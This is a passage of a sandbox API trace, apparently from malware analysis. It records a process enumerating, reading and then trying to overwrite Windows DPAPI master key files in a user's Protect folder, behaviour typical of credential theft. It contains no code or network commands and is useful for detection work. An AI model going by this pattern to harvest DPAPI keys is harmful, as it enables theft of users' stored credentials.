nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x398b918*, lpNumberOfBytesRead=0x204ec2f8*=0x1d4, lpOverlapped=0x0) returned 1 [0251.979] CloseHandle (hObject=0x768) returned 1 [0252.006] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557", lpFilePart=0x0) returned 0x84 [0252.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0252.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\20cac00a-26e8-46c6-ab84-90a52b05e557"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0252.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0252.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1", lpFilePart=0x0) returned 0x84 [0252.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0252.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1"), fInfoLevelId=0x0, lpFileInformation=0x3913678 | out: lpFileInformation=0x3913678*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd20187d7, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xd20187d7, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x2ba69b91, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4)) returned 1 [0252.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0252.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1", lpFilePart=0x0) returned 0x84 [0252.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0252.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0252.135] GetFileType (hFile=0x89c) returned 0x1 [0252.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0252.135] GetFileType (hFile=0x89c) returned 0x1 [0252.135] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x1d4 [0252.135] ReadFile (in: hFile=0x89c, lpBuffer=0x3913c58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x3913c58*, lpNumberOfBytesRead=0x204ec2f8*=0x1d4, lpOverlapped=0x0) returned 1 [0252.136] CloseHandle (hObject=0x89c) returned 1 [0252.163] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1", lpFilePart=0x0) returned 0x84 [0252.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0252.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0252.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0252.165] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347", lpFilePart=0x0) returned 0x84 [0252.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0252.165] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347"), fInfoLevelId=0x0, lpFileInformation=0x398c3c0 | out: lpFileInformation=0x398c3c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a6118fa, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a6118fa, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2bb4ea93, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4)) returned 1 [0252.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0252.165] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347", lpFilePart=0x0) returned 0x84 [0252.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0252.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0252.166] GetFileType (hFile=0x89c) returned 0x1 [0252.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0252.166] GetFileType (hFile=0x89c) returned 0x1 [0252.166] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x1d4 [0252.166] ReadFile (in: hFile=0x89c, lpBuffer=0x398c9a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x398c9a0*, lpNumberOfBytesRead=0x204ec2f8*=0x1d4, lpOverlapped=0x0) returned 1 [0252.166] CloseHandle (hObject=0x89c) returned 1 [0252.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347", lpFilePart=0x0) returned 0x84 [0252.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0252.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\7a70842e-d6a2-46c1-966c-384a4ef9d347"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0253.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0253.134] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f", lpFilePart=0x0) returned 0x84 [0253.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0253.134] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f"), fInfoLevelId=0x0, lpFileInformation=0x39cdca8 | out: lpFileInformation=0x39cdca8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37cb28b5, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x37cb28b5, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37cd87e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d4)) returned 1 [0253.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0253.135] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f", lpFilePart=0x0) returned 0x84 [0253.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0253.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0253.135] GetFileType (hFile=0x89c) returned 0x1 [0253.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0253.135] GetFileType (hFile=0x89c) returned 0x1 [0253.135] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x1d4 [0253.135] ReadFile (in: hFile=0x89c, lpBuffer=0x39ce288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x39ce288*, lpNumberOfBytesRead=0x204ec2f8*=0x1d4, lpOverlapped=0x0) returned 1 [0253.135] CloseHandle (hObject=0x89c) returned 1 [0253.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f", lpFilePart=0x0) returned 0x84 [0253.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0253.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\84759fa6-0478-4af3-b78f-4e0b84f9cd9f"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0253.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0253.180] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f", lpFilePart=0x0) returned 0x84 [0253.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0253.180] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f"), fInfoLevelId=0x0, lpFileInformation=0x3a47868 | out: lpFileInformation=0x3a47868*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5c020c86, ftCreationTime.dwHighDateTime=0x1d4d5d3, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x5c0df81b, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d4)) returned 1 [0253.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0253.180] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f", lpFilePart=0x0) returned 0x84 [0253.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0253.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0253.181] GetFileType (hFile=0x89c) returned 0x1 [0253.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0253.181] GetFileType (hFile=0x89c) returned 0x1 [0253.181] GetFileSize (in: hFile=0x89c, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x1d4 [0253.181] ReadFile (in: hFile=0x89c, lpBuffer=0x3a47e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x3a47e48*, lpNumberOfBytesRead=0x204ec2f8*=0x1d4, lpOverlapped=0x0) returned 1 [0253.181] CloseHandle (hObject=0x89c) returned 1 [0253.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f", lpFilePart=0x0) returned 0x84 [0253.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0253.511] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\b1334ab7-7773-4cde-b00c-b3b6e1e6ed9f"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0253.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0253.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09", lpFilePart=0x0) returned 0x84 [0253.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0253.513] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09"), fInfoLevelId=0x0, lpFileInformation=0x3b07c70 | out: lpFileInformation=0x3b07c70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1383bcc, ftCreationTime.dwHighDateTime=0x1d41dc4, ftLastAccessTime.dwLowDateTime=0x1383bcc, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x2bbe719f, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4)) returned 1 [0253.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0253.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09", lpFilePart=0x0) returned 0x84 [0253.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0253.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.514] GetFileType (hFile=0x808) returned 0x1 [0253.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0253.514] GetFileType (hFile=0x808) returned 0x1 [0253.514] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x1d4 [0253.514] ReadFile (in: hFile=0x808, lpBuffer=0x3b08250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x3b08250*, lpNumberOfBytesRead=0x204ec2f8*=0x1d4, lpOverlapped=0x0) returned 1 [0253.514] CloseHandle (hObject=0x808) returned 1 [0254.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09", lpFilePart=0x0) returned 0x84 [0254.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0254.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\ddbd6a25-732f-4175-9949-5cdf51e0bd09"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0254.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0254.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred", lpFilePart=0x0) returned 0x69 [0254.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0254.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\preferred"), fInfoLevelId=0x0, lpFileInformation=0x3da5450 | out: lpFileInformation=0x3da5450*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a637b3f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a637b3f, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37cd87e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18)) returned 1 [0254.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0254.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred", lpFilePart=0x0) returned 0x69 [0254.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0254.924] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\Preferred" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\preferred"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0254.924] GetFileType (hFile=0x834) returned 0x1 [0254.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0254.924] GetFileType (hFile=0x834) returned 0x1 [0254.924] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x18 [0254.925] ReadFile (in: hFile=0x834, lpBuffer=0x3da5790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x3da5790*, 